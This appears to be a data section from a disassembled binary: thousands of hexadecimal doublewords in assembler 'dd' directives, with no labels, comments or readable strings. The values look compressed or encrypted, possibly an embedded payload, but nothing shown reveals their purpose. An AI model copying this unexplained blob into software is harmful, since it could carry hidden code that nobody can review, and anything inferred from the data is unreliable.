		dd 0A58F8623h, 0FED071A9h, 126B003Dh, 42520E33h, 0FA01313Ch
		dd 0CCB2513Ah, 0DDFC82A2h, 839B00E3h, 5D6F7906h, 46079C7Fh
		dd 0A8883702h, 9BE111E1h, 1561C30h, 8406D5A5h, 0F0745265h
		dd 600005F5h, 0C57A4AB2h, 1AAECFh, 1B5C842h, 0A630EFB4h
		dd 36795601h, 3DBA4AD3h, 48F002C0h, 860701BFh, 70E7D99Ch
		dd 0A0BD6D04h, 0F50095FAh, 930ED102h, 0A5AF6Ch,	693A7087h
		dd 0B5D64634h, 84B97700h, 76237B98h, 8B82183Fh,	0D9C3EADh
		dd 80CAAF3Bh, 4250A999h, 905F8AF4h, 7D1C00B6h, 0F6A10493h
		dd 2F0EC71Bh, 601F970Ch, 6C148EBAh, 21F6DBh, 0F05EA98Bh
		dd 0FB94821Ah, 3C539800h, 7E047C59h, 8C95004Ah,	0ECFC19BEh
		dd 0BC0009D1h, 0EE72CE50h, 7754C17Bh, 57488h, 0B7F5DFFCh
		dd 73211968h, 4D9C8700h, 0C2D69483h, 9F7E38B2h,	85F0EA03h
		dd 72C0D5A2h, 2E00F757h, 0A36C2087h, 8C8F78h, 44FE32A8h
		dd 1A8E3827h, 80DDE801h, 3BC6C450h, 115AD8h, 7E0FE114h
		dd 481B7012h, 8C902A79h, 0F572DE90h, 803C5F3Ch,	76CCC7B6h
		dd 0AAAFF1h, 82F43BD4h,	19BF278Dh, 71B32600h, 17AD0986h
		dd 1CBDF067h, 0C1F68BE7h, 834C7612h, 0D0108055h, 13ABEC89h
		dd 49583C34h, 88452100h, 8105380Fh, 0EB5D5600h,	5EA7DE28h
		dd 0B22C00B1h, 8DF91F13h, 8700C0EEh, 0B89CA62Bh, 4F27EBh
		dd 89CE94FDh, 73390CD8h, 3813C300h, 9D680F26h, 0D2FA00E3h
		dd 60F597C7h, 867E11D6h, 0DC6B39h, 0C37FDF57h, 0E6324Dh
		dd 8A4EBC7Bh, 0BE21F510h, 3A37A105h, 7FC093ADh,	3E9872h
		dd 0DA66AA5Dh, 0B42EDD9Fh, 5909461Ch, 10A3BBC0h, 269C7A9Ah
		dd 87546FA1h, 700619C1h, 0A66BC011h, 73723Dh, 0F647A46h
		dd 5560C1Eh, 0FAAAC889h, 61F28704h, 70C9908Bh, 3E07D77Fh
		dd 8EBCD57Ch, 82A65337h, 7E6400B2h, 41850C0Eh, 0C80113E1h
		dd 2014377Dh, 7E702DBEh, 7ABD007Bh, 75D2A1Ah, 15000D78h
		dd 949FF90Ch, 243976CDh, 80D8856Ah, 8BF78344h, 2B7F67EBh
		dd 8055450Ah, 0F400E2C2h, 0A3D4A296h, 46D01D43h, 0BC36C0C6h
		dd 97F18E76h, 0AE9CBE00h, 9BC9F26Dh, 205603A5h,	64DBD207h
		dd 3FBA9FA8h, 843E217Ah, 0F8F607BCh, 9D907CC2h,	37890DCh
		dd 8CD4A9F9h, 4FB0593Eh, 0E800A871h, 733F9B35h,	1CAD2C63h
		dd 0C3320679h, 16B2833Ah, 6E8867CBh, 0B61C3B86h, 11402E63h
		dd 145F8F79h, 88B005Ah,	3A96E02Fh, 0B600569Eh, 6422A6C4h
		dd 0F8E87CCh, 459ABF94h, 42F1DAC0h, 5E1C2E76h, 6D037731h
		dd 888B07B9h, 663AEFDh,	0D1E0D27Ch, 0B000DCDEh,	659F2627h
		dd 0B85EE62Bh, 40D93961h, 2859D580h, 0C3F21E34h, 668F9000h
		dd 207ED0A8h, 5BDF0E70h, 0B2007BFh, 3A5CAF95h, 1F926F00h
		dd 0B43BFD9Dh, 8C08007Ch, 989A89DDh, 0BC00A642h, 2F453D55h
		dd 781835h, 0D41B2807h,	89A3F844h, 69001D7Ah, 3D20C816h
		dd 3E5A8DAh, 6A8D8F19h,	0E11D2768h, 0C984B8E8h,	0C8C03A2Dh
		dd 821C77h, 3EBE49BCh, 0B257DA68h, 0EE416B03h, 809D3C01h
		dd 0C6A799h, 0DDC0AFEDh, 0E320E70Fh, 1B150300h,	0AD3047E4h
		dd 513200B4h, 3787EDD3h, 81003584h, 278E5B1h, 422152h
		dd 3CDF07A2h, 0EC5003B2h, 0F24BA630h, 50D910CFh, 0D6B4C4h
		dd 874A330Fh, 0D7755BF2h, 8D4019C0h, 53BB083h, 0DBDED69Dh
		dd 0E5E600DDh, 0B1AE65A8h, 0D1254B16h, 2DC0AB1Fh, 0FD763FBh
		dd 6AC2F073h, 123038BCh, 3260406Dh, 0F778AF8Ah,	0D1C8A81Eh
		dd 7A657400h, 9611D8h, 30A11C0Ah, 1FBF20B0h, 4001087Fh
		dd 0FC23EE54h, 0FAD8774Ch, 9B3F0049h, 4F0E9041h, 1B0004D1h
		dd 39C2C3E8h, 7BB220h, 829A2580h, 8985BD1Dh, 48297E07h
		dd 0CFA07FE8h, 5FAB775h, 0DE12AFDAh, 898900F7h,	694143C5h
		dd 0AC0A332Eh, 0E8781033h, 0BF8028h, 23664EB1h,	193DAB20h
		dd 986A7F24h, 477B803Eh, 0D10D0975h, 84FA003Fh,	0D68A242Ah
		dd 4A396832h, 49998265h, 40341E67h, 7629F69Ch, 0FE6100F7h
		dd 0F9BAE70Ch, 90076AAh, 0B2859DB7h, 0E228031h,	1CD0B82Fh
		dd 841B77C1h, 0E40BC8EDh, 7A399D00h, 6A065DDAh,	0BED40727h
		dd 0F15CD8F3h, 810A18B9h, 1917E94Ah, 0B8DB283Eh, 3CC23467h
		dd 96809247h, 0AF5973E8h, 5A71E1ABh, 3C7A3873h,	561BD716h
		dd 0DF08B00h, 1E1393AAh, 0C099747Eh, 1E9D7965h,	333D78E9h
		dd 0DAB10FC6h, 1573C130h, 70FCB3FEh, 476D036Fh,	0C540869Eh
		dd 393BAB7h, 1E53BC32h,	0E86C0B5h, 0BD00D005h, 0C88C4A90h
		dd 145CEh, 4884164Dh, 57D38AC4h, 290024E4h, 0E293AE3Ch
		dd 1359E62h, 0F185828Dh, 3449F588h, 16002454h, 0D8C64AC0h
		dd 0BE0973h, 0D5674CF6h, 0ED8A2504h, 45645800h,	3D2B4D06h
		dd 82290070h, 0BBC66B1Ch, 0AC00D4ABh, 4D2D5FE1h, 125230h
		dd 37E42B7Eh, 0C9E79C4Fh, 1705AC38h, 2800503Bh,	0AB972103h
		dd 0C281009Bh, 9626F254h, 0B6140A3Fh, 873160h, 0E35F9001h
		dd 33AA12Eh, 41291A54h,	95F0EBC4h, 4400EE4Dh, 307D7968h
		dd 14E245Fh, 0F48F3BCDh, 0F4FB9753h, 75008D47h,	1565AF6Bh
		dd 0A41045h, 5C363B37h,	8416461h, 1485B41Eh, 27259380h
		dd 1EAD91h, 50E862AEh, 9EEA7BB9h, 0A874C6C0h, 0D03DDFC0h
		dd 0A000B382h, 0C56D482Bh, 0D6003433h, 0BCEABD65h, 7CB90Ah
		dd 0DECB509Bh, 0AEE98C73h, 4FA6A700h, 8BE1D8B0h, 0ED89015Fh
		dd 1B011859h, 584AE8A4h, 94968102h, 0C0623E6Fh,	25F5671h
		dd 3DA939E8h, 5D4093E5h, 0F800F0D7h, 0A4FD79B2h, 1A8A58Bh
		dd 921A3FCAh, 0FC10F440h, 89010767h, 82FEB0A6h,	24C42C32h
		dd 33C6002Dh, 7FF5019Eh, 5500305Fh, 3981FA26h, 5DC086h
		dd 36A8A185h, 4A9AAB14h, 0EEA4C700h, 0E395A302h, 68081C48h
		dd 0A5807F12h, 0E49053C2h, 5A00AE31h, 8F8274F0h, 546342h
		dd 3A400F6Eh, 0D04C437Ah, 8B118400h, 0A4BB61E1h, 38C000F7h
		dd 96C69299h, 430303B5h, 69F69DEEh, 0F11000B8h,	0FF738A8h
		dd 0CA017EF2h, 0E29CADEAh, 85D08946h, 2A760030h, 7DD05A01h
		dd 0C598A156h, 41B18B05h, 9CC05CAEh, 396A36D5h,	0FD80DF17h
		dd 101AE6ECh, 250724FFh, 27375B75h, 0CA371C0h, 0DBE30049h
		dd 0AEEBE8FCh, 4A07F3BAh, 0CB9C60D4h, 709E9CCh,	0C53F573Ch
		dd 0D6274175h, 0E3837135h, 7E2CBA03h, 8EC9CE59h, 0D1C31C10h
		dd 37D81A6h, 0C81B4C51h, 0B1000441h, 70A1B520h,	0D711A8h
		dd 99980ED9h, 0F3FD9A0Dh, 0FE3A1703h, 98C2C863h, 1F9E25Eh
		dd 9B883592h, 0CC020CF0h, 0B600FEFBh, 20A9586Ah, 6F29F1h
		dd 5042991Ch, 2311ACCAh, 1E1A660Fh, 1839602Ch, 0ED83CFh
		dd 0F9E767ABh, 0CC7569DBh, 9795081Ch, 0FD4E647h, 17026A60h
		dd 0EF7FFCh, 39E0D8CBh,	7C74FF94h, 97248C00h, 699A0666h
		dd 0BA400A6h, 0DDBB3F6Ah
		dd 7518C4F1h, 0FF40B3E7h, 360806F4h, 303BCE13h,	6281D4F5h
		dd 97417760h, 1F4B3E8Ah, 0BCC7BB04h, 0A11F1407h, 0E9466051h
		dd 0C80036C2h, 27AE3AB6h, 38E3B74h, 5B1F0CB5h, 7298521Bh
		dd 0C6A10B57h, 0A5CDC417h, 14EB5807h, 0E25080F3h, 74F5D45h
		dd 8B7303BDh, 597D7094h, 0DA001CD3h, 0EA14CAA9h, 0BDD639h
		dd 0A6EE947h, 2A65A376h, 8751D81Fh, 441FC492h, 0DA22F3C0h
		dd 3F9FCC7Fh, 9C00E7D4h, 627D89A9h, 0D707F892h,	0D31D4877h
		dd 372B07E0h, 41DB0015h, 9CA765E3h, 3000A5C0h, 2E8672D5h
		dd 1C8FBC7Ah, 0C00DF54Fh, 5694189Ah, 8CA09CEDh,	15F0B9F8h
		dd 919863F8h, 5791C902h, 40E769DDh, 0F54E89h, 0B2B061F8h
		dd 4402F9F4h, 124FFF00h, 94AE4DCEh, 54EE6011h, 9A54E58Fh
		dd 0A6D72800h, 7B076E39h, 0A7163862h, 0E3EF2701h, 30886C34h
		dd 0B50704BEh, 4D3EBBDFh, 0FE0BFCC0h, 337C00CBh, 2882A1ABh
		dd 4D907DB4h, 0E52CA900h, 0FE4E5E6Fh, 614A01B5h, 745FF0CBh
		dd 0BEBF707Eh, 0A0DC1B00h, 13D8E1C0h, 0A451077Ah, 0E161D417h
		dd 0C0E0AD8Fh, 0C93D21ABh, 42A0978Dh, 0A68CC800h, 5F8FDDh
		dd 0A359E0A8h, 0AFE3F9D6h, 7184858h, 0C80C4DDEh, 0C52A2160h
		dd 0F0AC00C7h, 0ED48FCD4h, 9700320Eh, 7E477657h, 1F10CEh
		dd 1A90A7E2h, 5F8E2403h, 39AEAC58h, 0A98C802Eh,	0EA8BC75Eh
		dd 3C9F8AFh, 4B520F48h,	829DE7F5h, 6560E958h, 23006B01h
		dd 58A6ABB9h, 0E09334h,	0E727B24Bh, 0F9C933A1h,	0AC17EB39h
		dd 0E500CBD8h, 3645D6A5h, 0F7851921h, 20771AC1h, 6A00FC7Ah
		dd 0FDB05D7Ah, 5C024Fh,	9DC37F7Bh, 9471DB1Ch, 5ADCF400h
		dd 0AA9F2CBEh, 1DF77FF3h, 40D589D7h, 0CC7CE9F8h, 7F005E25h
		dd 968417A9h, 0BC6E4Dh,	3B1E1FE8h, 2A128D7Ah, 41534316h
		dd 6239100h, 0D5ECA2h, 4A96D0B3h, 0C2E7E49h, 0F1ED30Fh
		dd 14A4404Bh, 7D7ED7Fh,	0B0BD8D37h, 93EAA05Dh, 4900C230h
		dd 2498B54Eh, 1E6CC9D4h, 8455E1ADh, 807DDFFDh, 2B8257F8h
		dd 7E27AA18h, 16DB810h,	0EDEB7C71h, 0BD4D8489h,	5AD40019h
		dd 8D918065h, 51B000AEh, 0E1EEF15Ch, 0E707CC50h, 0A319DD39h
		dd 88B33EF3h, 2CD7F2BCh, 1EED46h, 3B5BA0E7h, 4E396A58h
		dd 809B3F60h, 63B3A211h, 7F07FE95h, 589858A8h, 97EA7400h
		dd 0C3659A53h, 559DB200h, 4C686F89h, 759000C9h,	408DD3E4h
		dd 0C200B0D6h, 24CE4914h, 508BBF4Dh, 1FE7AF3Fh,	0C08CCA37h
		dd 73C1189Eh, 0BB1F39C4h, 0F780DCDAh, 9F42C33Eh, 0EB1D4C49h
		dd 44B7311Ch, 811491E1h, 0F8DC57BEh, 1E30657Ch,	0ED23589Bh
		dd 790E1C7Fh, 9F5B80E8h, 8CDEADA5h, 807DBB0h, 50D760C3h
		dd 36E2EAC0h, 0F14800AEh, 80E31421h, 0FF00B124h, 62282D41h
		dd 75573BFh, 5DAA7C3Ch,	0D1C817A5h, 0D1779486h,	814DE81Eh
		dd 84505F1Eh, 0C58B37C0h, 0EC166B22h, 7E17003Dh, 8914ABC0h
		dd 34010847h, 0B3D1A81Fh, 81CC4054h, 41910FCBh,	0E4E009ECh
		dd 17E22BD8h, 2C0BAA00h, 9DF70C01h, 824B16DDh, 0DA610075h
		dd 665793CEh, 77197801h, 24A78AACh, 623FE0h, 91D6EE94h
		dd 573BFA7Dh, 0F321B003h, 0B08D2D4Fh, 4A2589h, 9FC532A2h
		dd 5DE87F69h, 61FB3401h, 0A342AEC9h, 0E716E4h, 0D876BDCh
		dd 0D20C337Fh, 8DE96000h, 0F3B1EE01h, 8C7E30ACh, 36A3A458h
		dd 8E78811Fh, 7F87C3C0h, 4182CBh, 4E02E97Ah, 0DA180468h
		dd 14F38813h, 63E2EC00h, 0C48671h, 0D8DB73Bh, 589E6D81h
		dd 43F69A03h, 0D84ED6DFh, 59D30F4h, 0B9C3F9B2h,	8248C0C0h
		dd 47B62C8h, 0E831A00h,	74129F81h, 39A5038Eh, 45BA0BE5h
		dd 0C4565A88h, 80B7963Bh, 3C17AFEFh, 57BDC0h, 0DCD1AB52h
		dd 9D8C1A15h, 0B2E77600h, 53937E4h, 8D780EECh, 0FDC05AA6h
		dd 8F9E4F82h, 0CBD71C00h, 0B364BD89h, 53180051h, 2E20AF5h
		dd 0AB5CDAC1h, 61940008h, 0C265D61Fh, 6AF017B0h, 9C53006Bh
		dd 93CC8723h, 5FACB500h, 0ED04A939h, 49C02619h,	1D5C07F7h
		dd 0C72E50E6h, 2901267Ch, 7D214051h, 84DC6A96h,	7A42004Fh
		dd 0ED9FD353h, 0F07FF74h, 5A2EDFAAh, 6B0ED850h,	4F050010h
		dd 622F16Eh, 0A600948Ch, 79C8F224h, 14AE4FAh, 7E8FA048h
		dd 0E37BAF0Fh, 82A03683h, 8D767026h, 80113D3Ah,	35BAB48Ch
		dd 125E878h, 5A0496F2h,	611799B0h, 47F5F432h, 200E6B01h
		dd 0BADD8DE3h, 0C1EADDCh, 0F5434AAh, 590B71F4h,	0F87568h
		dd 11368B43h, 0AAE020h,	0C02F63B6h, 1E47A5A3h, 1DDA9800h
		dd 0C466EB78h, 0F759127Ch, 5EE20985h, 64FAA80h,	0A838A572h
		dd 2CD480EFh, 0B7F2C830h, 0CA731Fh, 0BA87A97Ch,	43AC72A7h
		dd 4C94A500h, 61E6B624h, 0DA7E0025h, 0A42A45D0h, 0FC0087ECh
		dd 0CE5056F8h, 659C94h,	27C59A19h, 54C62257h, 92CBA316h
		dd 187D5200h, 5D873Ah, 0C4535BFCh, 748271F2h, 83C0A13Eh
		dd 0C92EF7F4h, 2C06F80Ah, 6F74D0h, 7C2DACA9h, 29AEFCC8h
		dd 9E0043E8h, 479102E4h, 243E338Eh, 35ADD3h, 4CC2831Fh
		dd 6B00F9ABh, 0C97F2289h, 70EC3E6h, 59DD15B5h, 91BD7097h
		dd 3300CCA5h, 0F3CE477h, 0EC1EB564h, 0C00300C5h, 0A0A4F894h
		dd 3507ECA5h, 258AAECBh, 0BBE53A10h, 3634026Ch,	1B9817E6h
		dd 8E9AB8A0h, 0EA03EDA0h, 15FFA707h, 8951B057h,	9BB800D4h
		dd 2EE17B2Ch, 0FB007FD9h, 0FB00931h, 0F23A76Eh,	0DFF5E662h
		dd 2478C020h, 510E5341h, 4902B72Eh, 0C000F760h,	0B03FE02Ch
		dd 5A29670Eh, 16A38090h, 3FE578E1h, 0A780FDCEh,	69D97270h
		dd 0A903EDCCh, 0D03C497h, 6A9FF064h, 7A880186h,	83FE69F6h
		dd 0D0B8D501h, 0DB381845h, 0AEC68003h, 2D734F7Ch, 6B49002Bh
		dd 71C83C33h, 5F3907AAh, 0A2CD809Bh, 4DBD0811h,	0F0A00ED1h
		dd 4271833h, 900079AEh,	12886545h, 0A77FDF00h, 775F21B1h
		dd 4E6F074Ah, 0F0C68B25h, 30D45136h, 0F00090F4h, 47895E6h
		dd 784509E2h, 2D520071h, 6C38FB0h, 10F668ACh, 7CCCF13Bh
		dd 0E5EA917Ch, 0C45C0501h, 886A4E2Ch, 0A4F4DEF5h, 70673D45h
		dd 24FC12h, 82DD1EF8h, 230006A0h, 0C383DF8Bh, 0EED9FDD1h
		dd 2C42004Eh, 5F35767Fh, 0FA0049E0h, 0AEBC066Eh, 0FE604154h
		dd 0D11E00E3h, 0DB753C0Bh, 6373E8A8h, 20DC58h, 0E469FB5Eh
		dd 3CFACBh, 604C6768h, 0ACC0051Ah, 0AB9D70EDh, 0E334F4E7h
		dd 53896200h, 0DF4A9432h, 7125B8E7h, 1B230790h,	0C0EE856Ah
		dd 5A984F65h, 0FC045C1Dh, 27A06700h, 8996ECh, 0C8259C5Fh
		dd 0D3E71B16h, 0C36F470Eh, 585AA0F5h, 6AADDDh, 8A38569Dh
		dd 68A8A6D6h, 85376C00h, 0CD7EA794h, 72A40093h,	7639EF40h
		dd 0BE056687h, 7386C9CEh, 0C336FA80h, 0DC8001Eh, 649A5709h
		dd 0F200CB56h, 8202C939h, 3B2781h, 0E1D0D2B1h, 4E356119h
		dd 7C20D900h, 375E081Dh, 4C32000Eh, 24DDED79h, 4003CF18h
		dd 306875F4h, 0BBF9C02Fh, 0F61300F1h, 5EFBD4C5h, 8603FD01h
		dd 1EC02751h, 4A468964h, 3F85F2C4h, 3C80B584h, 9FB6D594h
		dd 47584CDBh, 2E8B0007h, 9D0D5617h, 13270050h, 75BFA3D1h
		dd 1CFC03CBh, 8F70457Bh, 5BE94F00h, 0A88C9AC6h,	0D89D0F76h
		dd 7721D1EFh, 0E1C170CDh, 546CC44Ch, 0F6F89000h, 0D9A5CBE8h
		dd 0A2503B85h, 4E82C23Ch, 3B1E1656h, 58C7D840h,	32801B0Eh
		dd 3F4D207Bh, 23D6574h,	8237C5B5h, 86150B2h, 95CC80E2h
		dd 0BE107F0Fh, 8F6F4h, 479870F7h, 449CFF3Ah, 69684200h
		dd 0DB561A81h, 76150220h
		dd 0E933122h, 9FF2E440h, 7F53DF00h, 0A06E305Eh,	0A5DA2492h
		dd 0B4A700BCh, 0D793471Ah, 36C45Ch, 3150CE35h, 0B0035Ah
		dd 0B5D4D04Ch, 41053B23h, 0CB078672h, 6E3E1BCCh, 60B208C0h
		dd 72FBE25Ah, 49DB001Ah, 9EA30204h, 0BA00699Ch,	0E0333692h
		dd 74A57Ch, 4C107831h, 13F5E4F8h, 841EDD39h, 3C6A2560h
		dd 26EEEF80h, 65FA0053h, 74AFEA72h, 0C1787CB4h,	36BB5F00h
		dd 0BFD2E8FFh, 63B00017h, 3346ED0h, 3B00B86Ah, 0B77052D8h
		dd 9C3582h, 9B65AC99h, 73DAE2B6h, 13FE6703h, 0A8F7D905h
		dd 0E6310C7Ah, 0EF2C0045h, 834A4D14h, 1705DF86h, 0B9A8E938h
		dd 8E272D81h, 0BEB20C4h, 587B40EFh, 0E0C74B00h,	4B3AAB8Ah
		dd 0E13897D3h, 0A031CF07h, 614F1D90h, 8C3B00C2h, 0E66DF6CFh
		dd 0E40048A5h, 9A40648Fh, 3C4A996Fh, 1200FC09h,	9D0EF4D0h
		dd 0F200B838h, 65F6F308h, 7B6C682h, 30BE50CDh, 62FC09Eh
		dd 0ED03FD2Bh, 0C16EF6AFh, 4C4000FEh, 6676093Ah, 0DA00CB14h
		dd 26BC5DD7h, 0E9BE202h, 0B1F92936h, 39D140FFh,	60B04A97h
		dd 6F1C9C00h, 9B2E1A28h, 0B85C1CF4h, 68358024h,	7AA9F90Ah
		dd 0EC4A3400h, 0A0658808h, 18C600CDh, 24967498h, 0C100C259h
		dd 1707E944h, 854A1h, 0F1421F26h, 0B1EB0140h, 0E3EEBC00h
		dd 463C96D0h, 575C1322h, 90FEBABh, 5C00D33Fh, 6F36D10Ah
		dd 0F7F012h, 0AFC665A0h, 52F0543Bh, 56D54B00h, 1C23F3C7h
		dd 297C00E5h, 41D73C34h, 38000CF8h, 3F535768h, 32E3ECCh
		dd 24BEA4AAh, 4ED8B88Dh, 0ED00DFA8h, 0B0024991h, 30403730h
		dd 9E203207h, 7BF6DB89h, 2C7D162Ah, 2207D100h, 4745024Ch
		dd 720800CCh, 0B37758Eh, 0EB009A7Ch, 0C85909BEh, 46D729h
		dd 8711303Ah, 2CEA1E63h, 4A186F60h, 0E8F61033h,	36C430C8h
		dd 0F9661F40h, 94311B17h, 2980A300h, 64C215h, 2F0B05D8h
		dd 0D4BB5784h, 73F0BC00h, 711B6CF2h, 0A4431ED2h, 0E18FC3EDh
		dd 70B0623Dh, 413E76CAh, 8E2D80B0h, 1CCF8752h, 38EF00FAh
		dd 108644DEh, 0F760C2ACh, 0B3378038h, 0A0B780BFh, 5FABEC1Dh
		dd 0C7FD21CFh, 8480DABEh, 28D53Ch, 9B87F664h, 749F37B1h
		dd 0E9A8E8A3h, 161F0224h, 80C068FEh, 5183C5D3h,	2C7400EBh
		dd 701DE38Bh, 630037F9h, 28AA226Dh, 0F631B8AFh,	36A100AEh
		dd 9BEDB378h, 6F0E62D1h, 0A0F8C8CBh, 4FB02704h,	0C2872658h
		dd 3E1A0799h, 838CA57Fh, 1100AF8Fh, 76A5EF9h, 7C85DF1Bh
		dd 4F5600E7h, 5826FFA3h, 0CB00D5B6h, 0E5A20983h, 361B5Dh
		dd 810AA721h, 8089EEB0h, 0F810C851h, 0EA07391Dh, 9BFF0CA9h
		dd 0FAB30D40h, 0F15B03E0h, 700FCD80h, 0CE92CC88h, 0A691B53Bh
		dd 38453Eh, 0F0825DABh,	0E49027FFh, 891700B6h, 7ADA321Dh
		dd 14078D0Fh, 9D7074A9h, 0AB05C04Eh, 389ACBF4h,	74CD81h
		dd 0B61F8CA0h, 1BB31AEDh, 1828143Fh, 7611EBAAh,	0B6240021h
		dd 0F15F02BFh, 7F3E9C9Dh, 4968ECA9h, 0AB0C00C8h, 5F6D0AFEh
		dd 37005512h, 903261C7h, 17DE7B91h, 812CD894h, 0D05D829Dh
		dd 990318E0h, 887C80E8h, 1DC3C0F6h, 0C8500021h,	78B3D058h
		dd 0A2009E71h, 0BA2F6493h, 7BCBEEh, 0B72394A4h,	9297F5A7h
		dd 6D58AC00h, 5F9131FFh, 5A450788h, 800F867Ch, 0B81975CEh
		dd 638F60Fh, 44C6603Eh,	1872FBDh, 310FBADh, 0CCB3ABC5h
		dd 0B2725254h, 9B7FA500h, 0C6F31CEh, 0A9A200F1h, 0AF9F55DBh
		dd 77008945h, 5848EADDh, 13378F2h, 0A111B9F7h, 50380509h
		dd 8D2CCC88h, 944B1C00h, 0B7983C7Fh, 0B879D3h, 1601517Ch
		dd 5D061BD1h, 96A4EB17h, 0E494241Eh, 0F28139D8h, 9C69400h
		dd 12E9C188h, 3D6F808h,	5131D1C9h, 28000385h, 831CFACDh
		dd 3BE00ACEh, 19E08492h, 0F825DF6Fh, 0AA15D100h, 0E52E32C3h
		dd 0F230CD4h, 81501A58h, 0DF941D00h, 12CD82B4h,	64183E3Ch
		dd 88E0953Bh, 60E89657h, 0B98DCE7h, 3AC3Eh, 2A9583BAh
		dd 564527h, 0C65AF5F7h,	686F98A2h, 0B8BB3D00h, 4F1CF9B5h
		dd 0BA1701D6h, 5FF73FD8h, 8E5980EBh, 10EA3E62h,	87AF1F4Eh
		dd 0AEA842B7h, 0A0938490h, 4220FE88h, 21D17207h, 0BA50B9B7h
		dd 4C6C184Dh, 0B2186CF3h, 799751E6h, 0EE35F200h, 3617D2A6h
		dd 56945C7Ah, 41C7B300h, 0C4025B15h, 0F9CF7EE0h, 0A942C0CAh
		dd 6FD2EEFBh, 0A080496Bh, 226FB2B9h, 67430B00h,	9DF30AD8h
		dd 0F70002Ch, 9ED231F8h, 1100A8B0h, 0F1B7A928h,	237B99h
		dd 0A6AE0BDCh, 12FECE43h, 7F97D300h, 4505C0EDh,	0F9B006Fh
		dd 54E22B4Bh, 0CF007CF7h, 5D49AE89h, 0F83BD1EEh, 0C5F94C91h
		dd 4A1621Dh, 0C64A54E1h, 610030B3h, 0B832F0D6h,	0EAF245h
		dd 575E08FFh, 7F5C49F4h, 168C0A03h, 0A3186084h,	6609D887h
		dd 0D0CC30BAh, 30123140h, 9C530700h, 0E60B5F7Ch, 2DB419B5h
		dd 0CC6DD99Bh, 3008C04h, 4C733ADCh, 1F01173Eh, 81278A8Bh
		dd 6D8E4B7h, 3851A4ECh,	5B9D833Eh, 81D722A7h, 70477179h
		dd 3EFC9631h, 71B307E4h, 0BDB812B9h, 0E05BBB2h,	8C061D6Bh
		dd 7107F35h, 6613AAF2h,	1ABE8072h, 34285A92h, 0E1118860h
		dd 0E900FD25h, 42BAA32Bh, 2360EA22h, 0E75C6F88h, 0A8FA1FF6h
		dd 0BA5FC12Ch, 0E825B0F0h, 91C0C448h, 93270889h, 5E5C0016h
		dd 0CAA7787Ah, 57003C0Fh, 7912B5C0h, 7D05F4B0h,	93FE3BC2h
		dd 3FD59180h, 1FCC8BE9h, 24D14Ch, 0C9D0494Ah, 3FB13828h
		dd 0A73DDA51h, 0BF979400h, 3291ADDFh, 3BB243Ah,	4762A044h
		dd 0B35000A6h, 15C0121Dh, 0F5987E5Ah, 6002E500h, 7F335B6Ah
		dd 8B390EFAh, 2C80E016h, 27AAA012h, 4B310E00h, 0CE59B574h
		dd 0CB713008h, 0EC4333A1h, 2C701200h, 0D9D4874h, 0AC364E8Eh
		dd 0B38D1827h, 63E728h,	0ED335D6Ch, 3B91029Dh, 1D05F600h
		dd 2E27D1EFh, 30933A76h, 615817h, 33D89D5h, 7100A86Ch
		dd 0B2DB77EDh, 12420CFEh, 0FBDCEAFCh, 0A7D02318h, 97F13A20h
		dd 0B88F84B9h, 0EAA0FD0Ah, 893D3065h, 0B0135003h, 290E3A22h
		dd 56043B10h, 529DA00Fh, 0AB668088h, 655F2h, 7017295Ah
		dd 1E44328Ah, 0BB919800h, 0C423B6BFh, 69D7814h,	555A0711h
		dd 0B77E28E8h, 0FA3C00Eh, 0F9403F57h, 285AC9FAh, 0F208E245h
		dd 0CB78079Fh, 0E0F49E7Eh, 80E6116Fh, 71EBE700h, 0E3FDBB2Ch
		dd 4EDD179Ah, 0BFC80FEAh, 2A480580h, 0E59035E6h, 2D829D01h
		dd 0A83EBEC9h, 0A2B8F640h, 6C8D00B0h, 4710E939h, 0C81D09CAh
		dd 0F00054EAh, 0DD1516B4h, 0A0CEFC06h, 725DCA8h, 3C0B36CAh
		dd 7F382072h, 0FF7EAA6Fh, 0E9654200h, 73AE55CEh, 0E10D0EA7h
		dd 0FB07F3ACh, 0C6012024h, 0EA0093F7h, 0F8F1FAD4h, 380E17BEh
		dd 0E4871C4Dh, 67E65D3Eh, 0A6F55022h, 56008F2Fh, 0ACFB3FF6h
		dd 77E97Ah, 63BE8E93h, 4705302Bh, 540E231Ch, 403A500h
		dd 78B0A33h, 106DE832h,	0F0CD3099h, 42030548h, 1FBCD5CAh
		dd 3098912Dh, 99E8C8FBh, 1C33E09Fh, 64803h, 0CB1D7692h
		dd 17F4A752h, 60F31100h, 6A078599h, 0FAB90023h,	7A4E27F9h
		dd 0C9005EA7h, 0A5BE1AFEh, 1D45239h, 5A476657h,	0DDCEA682h
		dd 0DECF891h, 142E0804h, 1C80D34Bh, 9D09Fh, 6AC596EBh
		dd 7742315h, 419E100h, 705ECB3Ch, 0F75B000Ah, 63BC990Bh
		dd 1E26AD92h, 7017CC8h,	0B9F88737h, 380F2082h, 8E034E8h
		dd 8A07909Dh, 7ABA40F2h, 0E20829A0h, 35170078h,	30F7D652h
		dd 2E00EFA5h, 0FA77CF67h, 0C1EE476h, 0D7FE29E0h, 7B00E520h
		dd 53DF6B0Bh, 0E0C6C98Eh
		dd 4F5A3F04h, 0A0C58700h, 0ABCC5DB1h, 1D463E00h, 83A775CDh
		dd 0FCDB00FDh, 0F295ADB4h, 0CB0E76DCh, 0E0772DABh, 2FA4E16Dh
		dd 9C293E53h, 257C6E07h, 3C002979h, 0D3DA02F0h,	1A85481Dh
		dd 0A78AF6C0h, 0E4D554h, 71A270FDh, 0EEA39BA4h,	49D4F700h
		dd 87F12A3Bh, 284E00D6h, 412E84AFh, 1C00FD68h, 60252006h
		dd 0BD5A77h, 610C9462h,	0CCA3930Eh, 11EE8901h, 9AD574AAh
		dd 285C007Ah, 5E68EB02h, 600065F4h, 0ED86F980h,	0F8D7D85Dh
		dd 0BF2A3FA5h, 31870CBDh, 37EC1748h, 5B04906Bh,	0A008AFDh
		dd 0A2A0719Ah, 7224479h, 7884288Ch, 6EF58004h, 5C0E1B0Dh
		dd 20A21364h, 0A68DDA8Fh, 581601B2h, 0FA9BEFE0h, 2A68E067h
		dd 0E2CDF900h, 59332186h, 56D800B4h, 0DE45017Bh, 5800D413h
		dd 0BBC0FB89h, 0CADDC9h, 0A5ED8CA2h, 4F03A87Eh,	0B22A5901h
		dd 5F8946C2h, 24EB4C30h, 7E82D42h, 0F00282E9h, 6FBFC64h
		dd 390018EAh, 3686A63Fh, 0E0B6A5CFh, 35D4000Ch,	61719347h
		dd 0F005342h, 9ABAB119h, 0EA44DB0h, 0F5DFC5ACh,	0E5FE6860h
		dd 7738D87Ch, 836A8012h, 4267F6D7h, 22030039h, 0B857ABDFh
